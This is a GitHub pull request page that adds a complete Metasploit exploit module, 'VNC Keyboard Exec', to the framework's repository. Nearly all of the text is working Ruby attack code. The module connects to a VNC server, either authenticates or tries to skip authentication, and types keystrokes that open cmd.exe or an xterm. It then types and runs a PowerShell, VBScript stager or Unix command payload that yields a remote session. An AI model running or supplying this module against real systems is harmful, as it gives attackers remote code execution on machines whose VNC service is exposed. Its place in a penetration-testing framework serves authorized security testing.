Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VNC Keyboard Exec #5693

Merged
merged 1 commit into from
Jul 10, 2015
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
197 changes: 197 additions & 0 deletions modules/exploits/multi/vnc/vnc_keyboard_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,197 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/proto/rfb'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'VNC Keyboard Exec',
'Description' => %q{
This module exploits VNC servers by sending virtual keyboard keys and executing
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
and a payload is typed and executed.
},
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
'Privileged' => false,
'License' => MSF_LICENSE,
'Platform' => %w{ win unix },
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'VNC Windows / Powershell', { 'Platform' => 'win' } ],
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
],
'DisclosureDate' => 'Jul 10 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [ false, 'The VNC password']),
OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20])
], self.class)
end


def press_key( key )
keyboard_key = "\x04\x01" # Press key
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
keyboard_key << key # The keyboard key
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
sock.put(keyboard_key)
end


def release_key( key )
keyboard_key = "\x04\x00" # Release key
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
keyboard_key << key # The keyboard key
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
sock.put(keyboard_key)
end


def exec_command( command )
values = command.chars.to_a
values.each do |value|
press_key("\x00#{value}")
release_key("\x00#{value}")
end
press_key(@enter_key)
end


def start_cmdprompt
print_status("#{rhost}:#{rport} - Opening Run command")
# Pressing and holding windows key for 1 second
press_key(@windows_key)
select(nil, nil, nil, 1)
# Press the "r" key
press_key("\x00r")
# Now we can release both keys again
release_key("\x00r")
release_key(@windows_key)
# Wait a second to open run command window
select(nil, nil, nil, 1)
exec_command("cmd.exe")
# Wait a second for cmd.exe prompt to open
select(nil, nil, nil, 1)
end


def exploit

begin

@enter_key = "\xff\x0d"
@windows_key = "\xff\xeb"
alt_key = "\xff\xe9"
f2_key = "\xff\xbf"
password = datastore['PASSWORD']

connect
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)

unless vnc.handshake
print_error("#{rhost}:#{rport} - #{vnc.error}")
return
end

unless password.nil?
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
if vnc.authenticate(password)
print_status("#{rhost}:#{rport} - Authenticated")
else
print_error("#{rhost}:#{rport} - #{vnc.error}")
return
end
else
print_status("#{rhost}:#{rport} - Bypass authentication")
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
sock.put("\x10")
end



# Send shared desktop
unless vnc.send_client_init
print_error("#{rhost}:#{rport} - #{vnc.error}")
return
end

if target.name =~ /VBScript CMDStager/

start_cmdprompt
print_status("#{rhost}:#{rport} - Typing and executing payload")
execute_cmdstager({:flavor => :vbs, :linemax => 8100})

# Exit the CMD prompt
exec_command("exit")

elsif target.name =~ /Powershell/

start_cmdprompt
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
# Execute powershell payload and make sure we exit our CMD prompt
exec_command("#{command} && exit")

elsif target.name =~ /Linux/

print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
# Press the ALT key and hold it for a second
press_key(alt_key)
select(nil, nil, nil, 1)

# Press F2 to start up "Run application"
press_key(f2_key)

# Release ALT + F2
release_key(alt_key)
release_key(f2_key)

# Wait a second for "Run application" to start
select(nil, nil, nil, 1)

# Start a xterm window
print_status("#{rhost}:#{rport} - Opening xterm")
exec_command("xterm")

# Wait a second for "xterm" to start
select(nil, nil, nil, 1)

# Execute our payload and exit (close) the xterm window
print_status("#{rhost}:#{rport} - Typing and executing payload")
exec_command("nohup #{payload.encoded} &")
exec_command("exit")
end

# Wait up to X seconds, else might timeout/disconnect before full payload is typed
select(nil, nil, nil, datastore['TIMEWAIT'])

handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end

def execute_command(cmd, opts = {})
exec_command(cmd)
end

end